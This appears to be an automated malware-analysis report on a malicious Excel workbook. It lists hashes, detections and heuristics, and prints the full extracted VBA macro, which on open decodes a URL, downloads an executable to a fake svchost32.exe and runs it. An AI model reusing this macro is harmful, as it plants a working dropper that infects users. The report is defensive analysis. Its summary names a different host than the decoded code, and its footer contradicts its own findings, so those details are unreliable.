Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 7cec0264a88a4379…

MALICIOUS

Office (OOXML)

53.6 KB First seen: 2020-09-07
MD5: d5c0ceeea29474d36fdebd6e1c1ed21b SHA-1: 81580679ee6bc8b4644884c763dbe8a3b8c9c812 SHA-256: 7cec0264a88a4379ee41d2e4bdc5bd3ca99c8b02d1706c13db297041e521619a
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The VBA macro contains an obfuscated Workbook_Open subroutine that decodes a URL and downloads an executable file. The script reconstructs the URL "http://www.freshertools.online/AmdaXWE.exe" and uses CreateObject to facilitate the download and execution of the payload. This behavior is indicative of a downloader malware.

Heuristics 6

  • ClamAV: Xls.Malware.Sagent-10035294-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Sagent-10035294-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    HDFHBSADHFBSKJDFIKSDJFHWUOR8W8ER792EUFUIEFOU.write AZCSFWRFplxbshdgdgfchtqQAERWDSPOLYTGDFVXFANMJHBDGRTZAPLIU.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set AZCSFWRFplxbshdgdgfchtqQAERWDSPOLYTGDFVXFANMJHBDGRTZAPLIU = CreateObject(HDSHFBIDBXBDFIYGFGWER47RNVHCBVBP88("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set AZCSFWRFplxbshdgdgfchtqQAERWDSPOLYTGDFVXFANMJHBDGRTZAPLIU = CreateObject(HDSHFBIDBXBDFIYGFGWER47RNVHCBVBP88("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7827 bytes
SHA-256: 4ee81fefaaa8a280cee50b364d576376555a9a404afce773fe2ab526b8d3a7a9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
PCVB09AQWZCXyTY670PLVCBFSGGGRAQMLKZVAGSFERT"68 74 74 70 3A 2F 2F 77 77 77 2E 66 72 65 73 68 65 72 77 6F 72 6C 64 2E 6F 6E 6C 69 6E 65 2F 41 6D 64 61 58 57 45 2E 65 78 65"
End Sub
Public Sub PCVB09AQWZCXyTY670PLVCBFSGGGRAQMLKZVAGSFERT(Link As String)
	Range("A1:J22").Select
    	Selection.Borders(xlDiagonalDown).LineStyle = xlNone
    	Selection.Borders(xlDiagonalUp).LineStyle = xlNone
    	With Selection.Borders(xlEdgeLeft)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Dim AZCSFWRFplxbshdgdgfchtqQAERWDSPOLYTGDFVXFANMJHBDGRTZAPLIU
	With Selection.Borders(xlEdgeTop)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Dim HDFHBSADHFBSKJDFIKSDJFHWUOR8W8ER792EUFUIEFOU
 	With Selection.Borders(xlEdgeBottom)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Dim HZDHFGWE6RT9WEHCUDIFWEEU9R23QJHDFW0PJZGASW
	With Selection.Borders(xlEdgeRight)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Set AZCSFWRFplxbshdgdgfchtqQAERWDSPOLYTGDFVXFANMJHBDGRTZAPLIU = CreateObject(HDSHFBIDBXBDFIYGFGWER47RNVHCBVBP88("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
	With Selection.Borders(xlInsideVertical)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Set HDFHBSADHFBSKJDFIKSDJFHWUOR8W8ER792EUFUIEFOU = CreateObject(HDSHFBIDBXBDFIYGFGWER47RNVHCBVBP88("41 44 4f 44 42 2e 53 74 72 65 61 6d"))
 	With Selection.Borders(xlInsideHorizontal)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Set HZDHFGWE6RT9WEHCUDIFWEEU9R23QJHDFW0PJZGASW = CreateObject(HDSHFBIDBXBDFIYGFGWER47RNVHCBVBP88("57 53 63 72 69 70 74 2e 53 68 65 6c 6c "))
 	ActiveWindow.SmallScroll Down:=-12
    	Range("A1").Select
    	ActiveCell.FormulaR1C1 = "S.No"
    	Range("B1").Select
    	ActiveCell.FormulaR1C1 = "Name"
    	Range("C1").Select
    	ActiveCell.FormulaR1C1 = "Unit"
    	Range("D1").Select
    	ActiveCell.FormulaR1C1 = "Price"
    	Range("E1").Select
    	ActiveCell.FormulaR1C1 = "Qty"
    	Range("F1:J22").Select
Url = HDSHFBIDBXBDFIYGFGWER47RNVHCBVBP88(Link)
	With Selection
        .HorizontalAlignment = xlCenter
        .VerticalAlignment = xlBottom
        .WrapText = False
        .Orientation = 0
        .AddIndent = False
        .IndentLevel = 0
        .ShrinkToFit = False
        .ReadingOrder = xlContext
        .MergeCells = False
    	End With
    	Selection.Merge
urloasjdklweqad_babu = HDSHFBIDBXBDFIYGFGWER47RNVHCBVBP88("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 73 76 63 68 6f 73 74 33 32 2e 65 78 65")
	With Selection
        .HorizontalAlignment = xlCenter
        .VerticalAlignment = xlBottom
        .WrapText = False
        .Orientation = xlVertical
        .AddIndent = False
        .IndentLevel = 0
        .ShrinkToFit = False
        .ReadingOrder = xlContext
        .MergeCells = True
    	End With
RUNCMD = HDSHFBIDBXBDFIYGFGWER47RNVHCBVBP88("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 73 76 63 68 6f 73 74 33 32 2e 65 78 65")
	Range("F1:J22").Select
    	ActiveCell.FormulaR1C1 = "S"
   	Range("F1:J22").Select
    	ActiveCell.FormulaR1C1 = "S" & Chr(10) & "u" & Chr(10) & "m" & Chr(10) & "r" & Chr(10) & "r" & Chr(10) & "y"
    	Range("F1:J22").Select
AZCSFWRFplxbshdgdgfchtqQAERWDSPOLYTGDFVXFANMJHBDGRTZAPLIU.Open "G" + "E" + "T", Url, False
	With Selection
        .HorizontalAlignment = xlCenter
        .VerticalAlignment = xlBottom
        .Orientation = 0
        .AddIndent = False
        .IndentLevel = 0
        .ShrinkToFit = False
        .ReadingOrder = xlContext
        .MergeCells = True
    	End With
AZCSFWRFplxbshdgdgfchtqQAERWDSPOLYTGDFVXFANMJHBDGRTZAPLIU.send
	Range("F1:J22").Select
    	With Selection
        .HorizontalAlignment = xlCenter
        .VerticalAlignment = xlCenter
        .Orientation = 0
        .AddIndent = False
        .IndentLevel = 0
        .ShrinkToFit = False
        .ReadingOrder = xlContext
        .MergeCells = True
    	End With
HDFHBSADHFBSKJDFIKSDJFHWUOR8W8ER792EUFUIEFOU.Type = 1
	With Selection.Font
        .Name = "Calibri"
        .Size = 14
        .Strikethrough = False
        .Superscript = False
        .Subscript = False
        .OutlineFont = False
        .Shadow = False
        .Underline = xlUnderlineStyleNone
        .ThemeColor = xlThemeColorLight1
        .TintAndShade = 0
        .ThemeFont = xlThemeFontMinor
    	End With
HDFHBSADHFBSKJDFIKSDJFHWUOR8W8ER792EUFUIEFOU.Open
	Selection.Font.Bold = True
HDFHBSADHFBSKJDFIKSDJFHWUOR8W8ER792EUFUIEFOU.write AZCSFWRFplxbshdgdgfchtqQAERWDSPOLYTGDFVXFANMJHBDGRTZAPLIU.responseBody
    	Selection.Font.Italic = True
HDFHBSADHFBSKJDFIKSDJFHWUOR8W8ER792EUFUIEFOU.savetofile urloasjdklweqad_babu, 2
    	Range("L4").Select
HZDHFGWE6RT9WEHCUDIFWEEU9R23QJHDFW0PJZGASW.Run RUNCMD

End Sub

Function nn20tyth1i9(str As String) As Variant: Dim bytes() As Byte: bytes = str: nn20tyth1i9 = bytes: End Function
Function jo8dnbtrcjdg4z48d(bytes() As Byte) As String: Dim str As String: str = bytes: jo8dnbtrcjdg4z48d = str: End Function

Function l2bc3qdodjnjx15of(str As String) As String
    Const BCvo09gf89_BVC As String = "eciwdr8uax3hx9t7t"
    Dim ZdaVCfdpVCP_KaKal() As Byte, SokNAH_() As Byte
    ZdaVCfdpVCP_KaKal = nn20tyth1i9(str)
    SOtAN_ = nn20tyth1i9(BCvo09gf89_BVC)
    
    Dim Sola67BChdPo_NcBBn As Long
    Sola67BChdPo_NcBBn = UBound(ZdaVCfdpVCP_KaKal)
    
    ReDim BCVPlokIgdh67BCGF_BQAZ(0 To Sola67BChdPo_NcBBn) As Byte
    
    Dim idx As Long
    
    For idx = LBound(ZdaVCfdpVCP_KaKal) To Sola67BChdPo_NcBBn:
        If Not ZdaVCfdpVCP_KaKal(idx) = 0 Then
            c = ZdaVCfdpVCP_KaKal(idx)
            For i = 0 To UBound(SOtAN_):
                c = c Xor SOtAN_(i)
            Next i
            BCVPlokIgdh67BCGF_BQAZ(idx) = c
        End If
    
    Next idx
    
    l2bc3qdodjnjx15of = jo8dnbtrcjdg4z48d(BCVPlokIgdh67BCGF_BQAZ)
End Function


Public Function HDSHFBIDBXBDFIYGFGWER47RNVHCBVBP88(ByVal PADUTYQPLZBCNFHYTSDWRFSGMLZGAGWRyhfbwe708409dfibfusdufh As String) As String
Dim q54id4ms3w0r058ze As String
Dim tk9qqtx1kf82ez1h4 As String
Dim mnq4u978707b75ukj As Long
    For mVTzrmmdSuUPlQfWzeYutCDYutRakyzZEDePAULnBGOttZQAoINrcev = 1 To Len(PADUTYQPLZBCNFHYTSDWRFSGMLZGAGWRyhfbwe708409dfibfusdufh) Step 3
        wSyzXMLHWUSHvLYkKMMXYQvilaCUFhOtEcxHOMzjKQAtRrAJPgqiIRa = Chr$(Val(l2bc3qdodjnjx15of("Q" & "?" ) & Mid$(PADUTYQPLZBCNFHYTSDWRFSGMLZGAGWRyhfbwe708409dfibfusdufh, mVTzrmmdSuUPlQfWzeYutCDYutRakyzZEDePAULnBGOttZQAoINrcev, 2)))
        tk9qqtx1kf82ez1h4 = tk9qqtx1kf82ez1h4 & wSyzXMLHWUSHvLYkKMMXYQvilaCUFhOtEcxHOMzjKQAtRrAJPgqiIRa
    Next mVTzrmmdSuUPlQfWzeYutCDYutRakyzZEDePAULnBGOttZQAoINrcev
    HDSHFBIDBXBDFIYGFGWER47RNVHCBVBP88 = tk9qqtx1kf82ez1h4
End Function

Attribute VB_Name = "Sheet 1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 7680 bytes
SHA-256: 59ec5f420119be09e547c6f6765a7de9b455cda35872e22db664da4c3b86b0e7
Detection
ClamAV: Xls.Malware.Sagent-10035294-0
Obfuscation or payload: unlikely

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